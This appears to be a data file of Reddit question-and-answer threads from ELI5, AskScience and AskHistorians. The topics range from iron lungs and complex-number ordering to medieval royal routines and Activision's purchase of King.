{"q_id": "1tbqvt", "title": "how did iron lungs work back in the day?", "selftext": "They look pretty creepy and when looking at one, it's hard to figure out how one worked to help someone breathe. How did they work? There wasn't a mask that the patient wore or anything (that I know of). ", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/1tbqvt/eli5_how_did_iron_lungs_work_back_in_the_day/", "answers": {"a_id": ["ce6c51p"], "score": [14], "text": ["An iron lung was an attempt to copy the way the body naturally breathes. So to answer your question, we have to discuss the body a little bit. Here goes.\n\nIn your chest, you've got your lungs. Just below your lungs you have a large, flat muscle called the diaphragm. This muscle is what controls breathing. When the diaphragm flexes, it contracts to become smaller. This happens the same way as any other muscle. What is special about the diaphragm is its shape. At rest it is shaped like a large dome tethered down at your body wall. When it contracts, the dome flattens. The effect this has on your chest is that it causes the volume of the chest to increase. As this volume increases, the air pressure inside the chest decreases. As a result of this, air is sucked down your airways and into your lungs (which have the capacity to expand). This is called **negative pressure breathing** since that is what drives air into your lungs. Just as when you sip through a straw you create negative pressure in your mouth, when you breath your diaphragm creates negative pressure inside your body to pull air inside.\n\nIron lungs worked the same way, but because these people had lost the use of their diaphragms, the negative pressure couldn't be generated *inside* the body, so the machine caused a negative pressure *outside* the body. The pressure difference wasn't so big that it caused damage to the person, but it was enough so that the body wall, and therefore the lungs, would expand and draw air inside to allow the person to breath. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "vkeau", "title": "Does light have inertia?", "selftext": "", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/vkeau/does_light_have_inertia/", "answers": {"a_id": ["c559d2b", "c55amjh", "c55c246", "c55dll7"], "score": [18, 6, 2, 2], "text": ["It has impulse, and exerts pressure when absorbed (double that when reflected): _URL_0_", "Intertia is defined as the linearity constant between force and accelration in Newton's 2nd law, this is often equated with gravitational mass which appears to be correct to within experimental errors for all matter, however this is not a given and should not be done without caution.\n\nWe know that light exerts pressure when reflected or scattered, which means that a force is exerted during accelration, Newton's third law tells us so. This means that light does in deed have inertia.", "The relativistic energy of a particle moving in free space is\n *E*^2 = ( *mc*^2 )^2 + (*pc*)^2,\nwhere *E* is the total energy, *m* is the rest mass, *c* is the speed of light, and *p* is the momentum. The mass in this equation is the inertial rest mass, which is physically equivalent to, but conceptually distinct from, an object's gravitational mass.\n\nLight has energy and momentum but no rest mass, so that equation reduces to *E* = *pc* for a photon. \"Relativistic mass\" is sometimes a useful construct, but is identically equal to zero for particles like the photon with no intertial rest mass.\n\nThere is a sense in which photons may be interpreted as having gravitational mass. Massive objects distort local spacetime. Since photons travel along *geodesics* (the shortest distance between two points, which is only a straight line in \"flat\" spacetime), their trajectories are affected by massive objects. Thus, massive objects effectively exert forces on photons that change their direction, but not their speed.\n\nThis works the other way 'round, too. Energy also distorts spacetime, and photons definitely carry energy. A massive object's trajectory will be influenced by the distorted spacetime, effectively feeling a gravitational force due to the light.\n\nIn this sense, one could define an effective gravitational mass for a photon. But I don't think this effective gravitational mass would also be intertial in nature; a photon with inertial rest mass could not travel at the speed of light. Or maybe it can be inertial because the effective forces exerted on a photon are always perpendicular to its trajectory so that they can only cause deflections and never acceleration.\n\n**tl;dr** Photons don't have inertial rest mass.", "Here is the fundamental problem with questions such as these: you are trying to understand a subject which makes sense in general relativity (the momentum of light) and map it onto some sort of fundamentally Newtonian physical model with a few relativistic modifications added on. And that can be a useful way to wrap your brain around a lot of aspects of relativity but in this case it can lead to confusion and especially to a lot of terminology blunders when interacting with actual physicists (who have very precise definitions for terms such as \"mass\" that differ sometimes significantly from the naive day-to-day use of those words).\n\nSo, to be clear, photons have zero rest mass, though that's not a terribly meaningful bit of information. Photons have energy and they have momentum. They can, and do, apply forces to objects when reflected off of them or absorbed by them. And they can, and do, exert gravitational forces."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://en.wikipedia.org/wiki/Light_pressure"], [], [], []]}
{"q_id": "mny95", "title": "mixing  &  mastering audio.", "selftext": "This would clear up a bunch of things for me. ", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/mny95/eli5_mixing_mastering_audio/", "answers": {"a_id": ["c32fpx9", "c32g360", "c32hhwj", "c32iuhv", "c32fpx9", "c32g360", "c32hhwj", "c32iuhv"], "score": [2, 3, 2, 2, 2, 3, 2, 2], "text": ["as someone who's done mastering myself, I'll say it like this:\n\nMastering is when you take a track that has been recorded and mixed into the best piece of audio it can be, then you increase the overall volume, and add subtle amounts of EQ to make it better.\n\nThere's WAAAAY more to it than that, but that's essentially what I'm doing. :)", "Hmm, sorry for the vagueness. \n\nI meant more along the lines of how do know where to put certain instruments?\n\nI know kicks are low frequency, mids are things like pianos and strings, and I think guitars can go in higher frequencies but this is what I'm unsure of. \n", "Mixing makes the instruments in a song sound good together. Mastering makes the whole song sound as good as it can sound on as wide a range of sound systems as possible.\n", "/r/audioengineering/\n\nyou will find detailed answers here bro", "as someone who's done mastering myself, I'll say it like this:\n\nMastering is when you take a track that has been recorded and mixed into the best piece of audio it can be, then you increase the overall volume, and add subtle amounts of EQ to make it better.\n\nThere's WAAAAY more to it than that, but that's essentially what I'm doing. :)", "Hmm, sorry for the vagueness. \n\nI meant more along the lines of how do know where to put certain instruments?\n\nI know kicks are low frequency, mids are things like pianos and strings, and I think guitars can go in higher frequencies but this is what I'm unsure of. \n", "Mixing makes the instruments in a song sound good together. Mastering makes the whole song sound as good as it can sound on as wide a range of sound systems as possible.\n", "/r/audioengineering/\n\nyou will find detailed answers here bro"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], [], []]}
{"q_id": "5dyc4p", "title": "Why are the hyperbolic functions useful?", "selftext": "It is easy for me to understand how and why *sine* and *cosine* are useful. They describe oscillatory motion, and so they are used to model periodic phenomena (waves, harmonic oscillators, sunlight intensity, temperature variations, *etc*.). My understanding is that they derive their usefulness at least partially from the fact that their values correspond to the (*x*,*y*)-coordinates of points on a circle.\n\nWhy are the hyperbolic functions useful? Whence do they derive their usefulness?", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/5dyc4p/why_are_the_hyperbolic_functions_useful/", "answers": {"a_id": ["da88mur", "da8k66n"], "score": [15, 7], "text": ["The hyperbolic sinh and cosh come from the analytic extension of sin and cos to imaginary angles. So they have essentially the same range of application as sin and cos, being just the other side of the coin (the coin ultimately being the complex exponential function).\n\nFor basically any situation in math or physics that involves sin and cos, there is a similar one with sinh and cosh.\n\nFor example: x'' = - \u03c9^2 x is the equation governing harmonic motion (like a small-angle pendulum) and has cos and sin as solutions; parallel to that you have the harmonic \"repeller\" x'' = \u03c9^2 x with sinh and cosh as solutions (like a small-angle inverted pendulum). Note these are related by a rotation by 90\u00b0 in the complex plane: \u03c9 - >  i\u03c9.\n\nOr, another example: where spherical geometry uses sin and cos, hyperbolic geometry uses sinh and cosh. Consider the relationship between circumference and radius of a circle in spherical and hyperbolic geometry - one is a sin, the other a sinh.\n\nEDIT: example #3. The hyperbolic equivalent of spherical coordinates in Euclidean space is Rindler coordinates in Minkowski spacetime, describing an accelerating frame in special relativity. You quite literally swap sin - >  sinh, cos - >  cosh.", "The function f(x)=e^(x) is useful because it satisfies f'(x)=f(x). The functions sin(x) and cos(x) are useful because they satisfy f''''(x)=f(x). The hyperbolic functions are useful because they satisfy f''(x)=f(x). Technically e^(-x) does this as well, but sinh and cosh are the odd/even versions of this function, just as sine and cosine are the odd/even real versions of e^(ix), which also satisfies f''''(x)=f(x). This makes the hyperbolic functions useful in differential equations and their applications.\n\nAdditionally, their inverse functions serve as useful antiderivatives for simple algebraic expressions like 1/sqrt(x^(2)+1) or 1/(1-x^(2)) etc. So they are useful in problem solving.\n\nAlso, the hyperbolic functions are to the unit hyperbola x^(2)-y^(2)=1 as the trigonometric functions are to the unit circle x^(2)+y^(2)=1, so they are useful in geometry. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "5hzie0", "title": "Why, despite rough population parity, was the USSR considered a nation with bountiful manpower, and not the USA?", "selftext": "During WW1 and WW2, Russia/the USSR was considered a nation with vast manpower reserves. Yet, it had a rough population parity with the United States. However, the United States never had the same designation? Why is this? Thanks for any responses!", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/5hzie0/why_despite_rough_population_parity_was_the_ussr/", "answers": {"a_id": ["db4o22l"], "score": [4], "text": ["In 1913, the German population was 65 million, That of the United States approximately 91 million, and Russia was roughly estimated at 170 million.   I include Germany as a comparison because in wartime strength is relative.  The USA was only about 50% greater in manpower than Germany, but Russia had a two and a half to one manpower advantage.  Moreover, the actual deploy-able manpower against Germany for the United States was constrained by available shipping, whereas Russia was often fighting on it's own territory or near its borders and had fewer logistical contraints.\n\nSo leaving aside questions of bias, wartime propaganda, and effectiveness of various political systems at mobilization which I'm not qualified to address in detail, Russia was in fact very populated.\n\nThe situation on the eve of WWII was slightly more even in terms of population, but the same basic points apply."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "1k7h3n", "title": "How viscous is the tar in the la brea tar pits?", "selftext": "My [four year old](_URL_1_) daughter saw an IMAX [movie](_URL_0_) about Mammoths and such and it included some CGI of a mammoth, saber toothed cat and wolves getting trapped in the la brea tar pits. I am now facing a torrent of questions about what tar pits can \"suck down\" (ships, huge dinosaurs, the sun, a bath, Godzilla, etc.)\n\nI want to buy a catering sized container of something goopy (but kid safe) so she can \"get\" how tar can trap animals. I tried googling this but the recent stir about the pitch drop experiment swamps (!) the results. How viscous is the contents of a tar pit? What food or kid safe substance is a good approximation?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/1k7h3n/how_viscous_is_the_tar_in_the_la_brea_tar_pits/", "answers": {"a_id": ["cbm57ng", "cbm5zfb"], "score": [4, 3], "text": ["According to the La Brea tar pit website it's basically asphalt - very long chain hydrocarbons which form the heaviest fraction in crude oil reserves. The best thing to demonstrate the viscosity is probably treacle (molasses if you're in the US).", "It's been a couple decades since I was at the La Brea Tar Pits, but they used to have an experiment where you tried lifting heavy weights out of a bucket of liquid tar. As I recall, it was about the consistency of peanut butter, but a lot stickier."]}, "title_urls": [], "selftext_urls": ["http://www.titansoftheiceage.com/", "http://i.imgur.com/h29GCN8.jpg"], "answers_urls": [[], []]}
{"q_id": "ypi3o", "title": "eil5:   tide to go.  how does it remove stains?  it's not like the pad gets dirty, or water washes it out.", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/ypi3o/eil5_tide_to_go_how_does_it_remove_stains_its_not/", "answers": {"a_id": ["c5xqdzn", "c5xsngg"], "score": [9, 23], "text": ["Not positive but I thought it was just color safe bleach with a surfactant.", "[E-how Article](_URL_0_)\n\n**TL;DR** Only works on organic, or food-based stains. A 'surfactant' makes the bits and pieces of the stain break apart and dissolve more easily in a color-safe bleach (peroxide).  Also includes perfume for a good nose-tickle."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://www.ehow.com/how-does_4579466_tide-work.html"]]}
{"q_id": "22w174", "title": "Can chemists synthesise specific isomers? what methods may they use?", "selftext": "If not, is there anyway to separate a racemic mixture into its constituent isomers? ", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/22w174/can_chemists_synthesise_specific_isomers_what/", "answers": {"a_id": ["cgqy1zd"], "score": [8], "text": ["Yes to both. It generally depends on what compound and which isomer you want to synthesise though, so there's not a simple answer. There are several types of reactions that are stereospecific (they give a specific stereo chemistry) or stereoselective (only work on certain stereo isomers) which chemists can take advantage of. For example, an SN2 reaction will invert the stereochemistry at the site of attack which can be exploited to form one isomer exclusively. An other approach is to start with a racemate and make some derivative of that which is subject to stereospecific reactions and use that to ensure that you only produce on isomer. Again, it's pretty dependant on what you're trying to make, but in most cases it can be done."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "byl1ru", "title": "Help researching Chinese Junks/China nautical history ~1000", "selftext": "I  am having trouble finding sources of any  kind to research China's  naval history. I would like to specifically  focus on the Chinese Junk  ships but I can't even pull enough sources  together to know what time  period I should even be focusing on or what  direction to go from there.\n\nI   have the Van Tilburg book but it is only the one and is a secondary   source on a small sample of Junks. Google scholar and my uni library   have yielded zilch but more likely my searching for sources is just not   my strong suit.", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/byl1ru/help_researching_chinese_junkschina_nautical/", "answers": {"a_id": ["eqjaqc9"], "score": [3], "text": ["What period? There's lots of information about the treasure fleets of Zheng He that might represent a good direction. For example, *When China Ruled the Seas* by Levanthes, and I have read *Zheng He: China and the Oceans in the Early Ming Dynasty*, and it's not bad. A quick peak at the bibliography of the Wiki article for Zheng He is pretty extensive with some sources that might be useful to you. The latter includes some excerpts, but the problem with primary sources is that you might have an issue tracking down translations of works."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "2kploj", "title": "Is i greater than negative i?", "selftext": "", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/2kploj/is_i_greater_than_negative_i/", "answers": {"a_id": ["clnng4b", "clnpm0x", "clnpv3y", "clnr8mr", "clns8sw"], "score": [100, 18, 5, 74, 10], "text": ["This is a subtle question. One normally doesn't define an order relation over the complex numbers, because they aren't an ordered field like the reals. \n\nThat doesn't mean you can't meaningfully define an order, for example you can define a total order, called [lexicographical order](_URL_0_), in which a complex number is greater than other iff its real part is greater, or in case that they are equal, if its imaginary part is greater. Under this order you can say that i  >  -i.", "You're basically asking if (0,1) is greater than or less than (0,-1) in \u211d x \u211d*i*. There's no standard order given to the complex plane, but you could define one. For example, in the *lexicographic* order,\n\n    (a, b)  <  (c, d) iff (a  <  c) or (a = c and b  <  d)\n\nIn this ordering, *i* is greater than -*i*. ", "Generally when I'm dealing with complex numbers (physics), I care about how far I am from the origin in the complex plane (the modulus), and what angle I have to the real axis. If you're looking at the modulus, |i|=|-i|, so they are the same size. If I am looking at angle, then -i  >  i, because I have to travel further in the counterclockwise direction from the real axis to get to -i.\n\nAs everyone else has pointed out, neither of these answers are really correct. They just make sense for certain problems I might be interested in.", "You'd have to define an ordering on the complex numbers, without specifying one the question is unanswerable.\n\nOf course, this is technically also true if you asked \"Is 1 greater than negative 1?\", you still have to define an order on the real numbers, however in this case there is a generally agreed upon ordering of the real numbers which could be applied.\n\nSo the real issue is there is no generally agreed upon ordering of the complex numbers, but there is a good reason for that: there is no way to order the complex numbers and still have it play nicely with the arithmetic structure: for real numbers when a  <  b, then a + c  <  b + c for instance, and if 0  <  a and 0  <  b, 0  <  ab. It is actually a fact that it is impossible to order the complex numbers in such a way to preserve these two properties. Because of that, any ordering you give won't be useful for understanding the complex numbers any better, so there is no point to folks sitting down and generally agreeing upon any order at all: they are all equally useless.", "While C is a field, C is not an **ORDERD** field. While you can define a total order, you cannot define a total order that would suffice the two needed axioms for the order to qualify as an **ordered field**. Wherefor talking about i  <  -i or -i  <  i has no meaning in C.\n\nPS: C as the Complex Numbers.\n\nPPS: The second axiom requires that if a  >  0 and b  >  0 than also a * b  >  0, with the simple result that if a  >  0 than a * a  >  0. Either i or -i would have to be  >  0, but for both of them the equation does not hold as the squares are -1 for both."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://en.wikipedia.org/wiki/Lexicographical_order"], [], [], [], []]}
{"q_id": "3gkq3y", "title": "why were we able to tame and ride animals such as horses, but not something like a buffalo?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/3gkq3y/eli5_why_were_we_able_to_tame_and_ride_animals/", "answers": {"a_id": ["ctyzqjd", "ctz0kas"], "score": [7, 2], "text": ["_URL_0_ all your questions will be answered as to taming and riding of Buffaloes, I think you will find it very informative. ", "_URL_0_\n\nTo put it simply, Domestication. Domestication involves 2 basic steps, taming, and breeding. Taming an animal usually involves humans capturing/luring an animal with food to develop a relationship with the animal. Once a relationship is established, the animal in question will become comfortable around the person, allowing him to ride/guide it around. Most animals, even non-domesticated ones, can be tamed to some degree if approached at a young enough age. There are examples of this happening with lions, birds, etc. Some animals are easier to tame than others. The 'tamability' trait is more prevalent in herd/pack animals, as these animals have well established social instincts that lead them to follow their accepted 'alpha'. One good example of this is dogs. Of course, there are other factors in play as well(buffalo are also herd animals), usually involving intelligence, and the animals 'restlessness' (I forget the term :p). Some animals are more willing to settle down in a certain area. Buffalo are very migratory, and do not handle being contained to one place as well. there are many stories of people who've tamed animals when they were young, only to find that when they grew up, they returned to the wild to mate/hunt etc. Sure the animal will still be friendly to the person, but it doesn't stick around. Ease of taming is the biggest factor determining which animals people have domesticated.\n\nThis trait actually seems to be genetic, as easy to train animals can be bred to produce tamer offspring. Dogs for example, have been bred throughout the centuries so far that most of them cant even survive in the wild on their own. Horses have also been tamed. Read any wild west story, and you'll read about 'wild horses', who run faster and are stronger than normal horses, yet are also harder to tame. Interbreeding weakens the genetic pool (Think genetic illness related incest), and thus domesticated animals are gentler, easier to tame, and weaker. Over time, as people pave over the wilderness, the wild animals have less and less room to live, leaving mostly domesticated animals.\n\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://youtu.be/iJ4T9CQA0UM"], ["https://en.wikipedia.org/wiki/Domestication"]]}
{"q_id": "ay5f4n", "title": "holes in the jaw bones apparently can regrow/fill in - does that work the same with other bones of the body?", "selftext": " I got my wisdom teeth removed and two of the impacted ones had super deep rooting in my actual jaws \\[mandible/maxillae\\] and left pretty gnarly holes, but the oral surgeon explained that the bone will regrow and fill in said holes caused by the roots.   \n\n\nIs this the same process as when your bone heals after a break? Or say if you had an actual hole in any other bone in your body from some kind of trauma, but not a break, does that fill in the same way or is it specific to the skull area? ", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/ay5f4n/eli5_holes_in_the_jaw_bones_apparently_can/", "answers": {"a_id": ["ehyd1jw", "ehydmq9", "ehyenpl", "ehyhov3", "ehyku16", "ehypim2"], "score": [3, 2, 12, 7, 2, 6], "text": ["Yes, every bone is like that", "Yes it does and actually it should!\n\nMind You I forgot the eponym. But it went like this:\n\nIf a bone is broken and badly put together, forming say a slightly bent config instead of rather straight one, the pressure affects it differently than it should. Increased pressure at some points and decreased pressure at others causes it to grow so it adapts to that.\n\nEffectively, if You break Your tibia and have it put together badly(hopefully never!), it should straighten up on its own just by walking using that leg!", "I had a tibial plateau fracture and it was set with two large screws that crossed from medial to lateral side. I kept them in for two years, but as a horsewoman, the screws were irritating my inner knee while riding. So I had them removed. The holes filled in with new bone in a few weeks. The human body is pretty amazing!", "Yep! The reason for that is your bone growing cells (osteoblasts) are activated in response to blood. So when a blood clot forms, your osteoblasts start filling that area in with bone, whether it be a hole or even your average break. ", "I\u2019ve got a question if I may\n\nSo my doc said one piece of my spine has a hole in it, that\u2019s why I\u2019m in pain. How come that doesn\u2019t close up?", "Jaw scientist here, Holes in bones can grow back with bone as long as it\u2019s not a \u2018critical size defect\u2019 for that bone. Once it\u2019s over the critical dimension, grafting materials or other approximation procedures may be required. \nBlood clot forms a scaffolding to attract osteoblasts (bone forming cell) but is inherently too weak to span a critical sized defect. \nWisdom tooth extraction done atraumatically  can heal by itself but of bone shreds around, grafting is needed."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], []]}
{"q_id": "4jhjz4", "title": "how do we lose track of the mouse cursor? and why does it take a while to find it by moving the mouse?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/4jhjz4/eli5_how_do_we_lose_track_of_the_mouse_cursor_and/", "answers": {"a_id": ["d36md2q", "d36mj02", "d36mupp"], "score": [3, 3, 3], "text": ["Wait, this actually happens to everyone?! I just thought my computer was broken", "I'm guessing it is because when people move their mouse cursor, they move it left and right in a short distance and when you are focused on one area of the screen looking for it, you won't find it. Also it can also be moving too fast to notice too.", "Step away, look away, get distracted, someone swats you on the back of the head with a rolled-up newspaper... you name it, there are lots of reasons why we lose it. \n\nMouse cursors change shape depending on what they're hovering over at the time you lose them. Some shapes, such as the \"dot\" when you're fooling around in a graphics painting program, can be really hard to see. The human eye is conditioned to pick up movement much easier than something that's still (so we could spot that creeping sabertooth tiger before it ate us, for example), so moving the mouse helps us spot it again, particularly when it changes shape to something more visible because it moved over a different region of the screen. And the busier the screen, the harder it is to find it.\n\nAnd if you've jostled your mouse so that you cursor is off the edge of the screen - and particularly if you're using a two-monitor system such as a combination laptop/desktop monitor, sometimes only a few pixels of one corner of it might be visible. If it's already at the right edge of the screen and you move your mouse to the right, it's not going to help you locate it much.\n\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "bcpb4e", "title": "In films, Kings and Queens are always depicted as sitting on their thrones all day (unless at a dining hall or major event). On a normal day, what would they actually do?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/bcpb4e/in_films_kings_and_queens_are_always_depicted_as/", "answers": {"a_id": ["ekt3f9h"], "score": [1136], "text": ["I'm going to focus on western medieval Europe here, although sadly that scope eliminates things like princesses running international spy rings to expose traitors or emperors transforming into a demon.\n\nThe practice of governance in the west changed a *lot* over the course of the Middle Ages. Two changes in particular affected royals' daily life. The first was the rise of bureaucracy, creeping slowly upwards until the 12th or 13th century when it really took off. \n\nThe second was the dominance and slow decline of \"peripatetic\" government--that is, \"moving around.\" The entire royal court would up and haul from lord to bishop-lord to lord to city and back. Early and high medieval chronicles from Germany are filled with \"The king spent Christmas at Augsburg and the New Year at the palace of the bishop of Trier and in March he created Eberhard as bishop of Bamberg at that palace.\" \n\nThe point being--for much of the Middle Ages, kings spent a lot of their time traveling! The situation is more ambiguous for queens. We see plenty of queens regnant in the late Middle Ages, mostly of smaller principalities, so both time and place made their governments much less peripatetic. It's not always clear from chronicle accounts whether queens consort were travelling with their husbands, and in many cases, we'd expect not. Some definitely did, though. Violant of Bar, queen of Aragon around 1400, is a great example--she even had her own perambulation to her own palaces, met with her own governing councils...bordering on \"co-government\" with her husband.\n\nBut royals couldn't be on the road or leading armies 100% of the time. When we look at daily activities, it's important to keep in mind that kingship and queenship were more than listening to advisors and making decisions. \"Political culture\"--rituals, appearances, relationships--was almost or even equally vital to political power and governance.\n\nThe first and most important part of keeping up appearances was religion. Regardless of whether royals *were* pious, they had to appear to be. Queens consort in particular were expected to spend a significant portion of the day at prayer, and kings seem to have done so as well. Many of the most elaborate prayer books of the late Middle Ages belonged to royalty, like Queen Elizabeth of York's Book of Hours.\n\nAttendance at Mass could also be important. Special Masses were an important occasion for crown-wearing by the reigning monarch--a show of power.\n\nActivities like hunting or falconry also occupied monarchs' time. It was probably partially *fun*, at least for some kings and queens; it was probably also a time when court members invited along could gain an informal ear. But even more, it was just a time to cement relationships. This was especially important in the days of peripatetic kings. The major reason for the ambulatory court in the first place was to bring the ruler in contact with princes (high nobility).\n\nThere was time for what we would consider more traditional governing activities as well. Christine de Pizan describes King Charles V (not that Charles V) discussing affairs with his royal council on a near-daily basis, although her picture is an idealized one for propaganda purposes. \n\n\"Paperwork\" was another joyous occupation. That might just mean giving approval to charters transferring land. But queens like Margaret of Anjou also spent a good amount of time reading and writing letters, involving herself as mediator in complaints between tenants and landlords or among petty nobles.\n\nAnd uniting the idea of relationship-building with governing, there would be ample time to receive visitors and hear petitions formally and informally. When Duchess Kunigunde of Austria was princess of the Holy Roman Empire at the end of the 15th century, she often acted as mediator between visitors and her father. That would be a great example of time for informal meetings, since in general ruling monarchs were not \"supposed to\" (appearances again) spend time with their families.\n\nHow much time queens consort spent with their children probably varied a lot. Scholars usually stress queens' *interest* in their children, although that could mean overseeing their education from afar. Our letter-writing queen, Margaret, also wormed her way onto her son's advisory council while he was being educated away from court. I can't think of reading anything about princes consort as fathers, or really that much at all. (It was probably in the interest of queens regnant to keep their husbands as much out of the spotlight, and thus the sources, as possible.)\n\nMeals offered another chance to display, exercise, and award power. In the queen consort's apartments, for example, which ladies-in-waiting were granted a place at the queen's table for any given meal was a big deal. The privilege to serve the queen her food was even more desirable. And that was just \"private\" dining! Major feasts and parties were not necessarily a *daily* activity, but they formed an important part of royals' lives. Observers like Hans von Planitz, representing Frederick the Wise at 1520s Reichstag conventions, even relate to their noble or royal employers who the best *dancers* are--to relate \"what people are saying\" as important state information, not just fluffy gossip.\n\nFinally, there would have been time for what we would consider \"leisure,\" although it might overlap with other purposes. That could include things like going for walks in palace gardens, playing chess, listening to books or reading them firsthand, playing with pet dogs.\n\nEspecially playing with pet dogs, and in the late Middle Ages, especially little white fluffers. [The story I'm going to tell](_URL_0_) comes from 1709, which is not the Middle Ages, and from a letter by the Duchess of Orleans, who is not technically royal. But it well illustrates the importance of puppers in medieval and early modern royal life (and also, it's the best primary source on the Internet):\n\n >  One of my little dogs has just jumped up on the\ntable, seized my paper and torn a word, as you see. The\nlady who did this fine trick is called Candace or Robe,\nwhich latter name was given to her because her mother\nCharmille had her puppies on my robe. \n\n >  The Princess was\nwith\nme, and we were seated on a sofa chatting together,\nwhen Charmille, who was behind me, began to whimper and\nfidget as she always did when she wanted to be caressed.\nThe Princess said to me, \"Your little dog is restless, what\nis the matter with her?\" \n\n >  I said, \" She wants me to stroke\nher.\" I\nput my hand behind me to pet her, and felt it all\nwet, she had just had her puppies on my gown, which was\nspread out all around me."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://archive.org/details/lettersofmadamec02orluoft/page/22"]]}
{"q_id": "tb8ut", "title": "why is it called kindergarten?", "selftext": "Just wondering.", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/tb8ut/eli5_why_is_it_called_kindergarten/", "answers": {"a_id": ["c4l47j0", "c4l49ua", "c4l8u30"], "score": [10, 25, 6], "text": ["comes from German \"Child garden\" or \"garden of children\", i believe.", "The word was invented in 1840 by a German educator named Friedrich Fr\u00f6bel. [It comes from the German words *Kinder* (\"children\") and *Garten* (\"garden\").](_URL_0_) He had this idea of a teacher being a gardener, and education being the soil and nutrients that would help the children \"grow.\"", " >  [A kindergarten (from German  Kindergarten (help\u00b7info), literally \"children's garden\") is a preschool educational institution for children. The term was created by Friedrich Fr\u00f6bel for the play and activity institute that he created in 1837 in Bad Blankenburg as a social experience for children for their transition from home to school. His goal was that children should be taken care of and nourished in \"children's gardens\" like plants in a garden.](_URL_0_)\n\nELI5 is not a replacement for Google.  The first paragraph of the first link when you search for \"kindergarten\" is perfectly understandable and non-technical."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://www.etymonline.com/index.php?term=kindergarten"], ["http://en.wikipedia.org/wiki/Kindergarten"]]}
{"q_id": "3ryce6", "title": "how can marvel and lucasfilm be bought for $4 billion each, when activision just bought candy crush for $6 billion?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/3ryce6/eli5_how_can_marvel_and_lucasfilm_be_bought_for_4/", "answers": {"a_id": ["cwsdanj", "cwsdngh", "cwsfgtp", "cwsfhdw", "cwsgopl", "cwsh1rp", "cwshock"], "score": [46, 13, 8, 3, 2, 3, 2], "text": ["Yes but revenue ain't profits. Revenue is essentially sales, like what you pay for a candy bar at a store. But how much did the store pay to buy that candy bar? In some cases perhaps more than they sold it for, in which case there's no profit margin and they've actually lost money.\n\nYou can make a trillion in revenue and still lose money. Could be (really I have no idea) that Candy Crush is extremely profitable (generates a lot of sales and costs then very little to run) while Marvel is a low-margin business (lots of sales but very expensive to create movies etc).", "Looks like King was making somewhere around 500 million a quarter, so not a bad deal for Activision if those numbers hold up.  I doubt they will hold up for very long though and this may be one of those deals everyone looks back on and shakes their head.", "If you buy candy crush you buy the game and all the money being made from it. if you buy Lucasfilms or marvel youre just purchasing the right to use their characters. Lucasfilms and marvel will require large investments everytime they want to create a new movie and even then there is no guarantee of a profit", "_URL_0_\n\nBeing actually addictive helps it's value. ", "Microtransactions in a simple mobile game rake in more money than movie tickets or DVD sales, since having to create films and video games and TV shows takes an enormous amount of time and money by comparison. For one it's all digital products so there's no overhead, plus if you're *really* into the game you'll just keep spending more for those lollipop hammers or taffy screwdrivers or whatever they've got in there now. Secondly, they don't need to pay nearly as many people or come up with anything original on their own, just keep rehashing the base game with different skins or new items to buy.", "Things like Marvel and LucasFilm are huge valuable properties but they're an umbrella to operate under rather than pure profit on their own. For example, if you partner with Marvel to make Hulk toys then you have to make a factory, employ people to make the toys, and then find an avenue to sell the toys. It's a complicated process that involves a lot of money and industrial capital. \n\nThen you take King which has to make an addictive game (which is hard to do on a scale where its worth billions but obviously not impossible) and then you have a basically instant cash extraction machine that takes in literally millions of dollars a day. There's no factories to build, there's maybe a couple of hundred people at most to employ in designing/maintaining the product, and a comparatively small marketing crew to sell your product. ", "Activision bought out King Games, which brings them into the mobile gaming market. It's a big move for them, and King was probably valued higher than if they had been some AAA studio Activision snapped up. Candy Crush is also valuable as shit. King makes a killing from it"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], ["http://www.theguardian.com/science/blog/2014/apr/01/candy-crush-saga-app-brain"], [], [], []]}
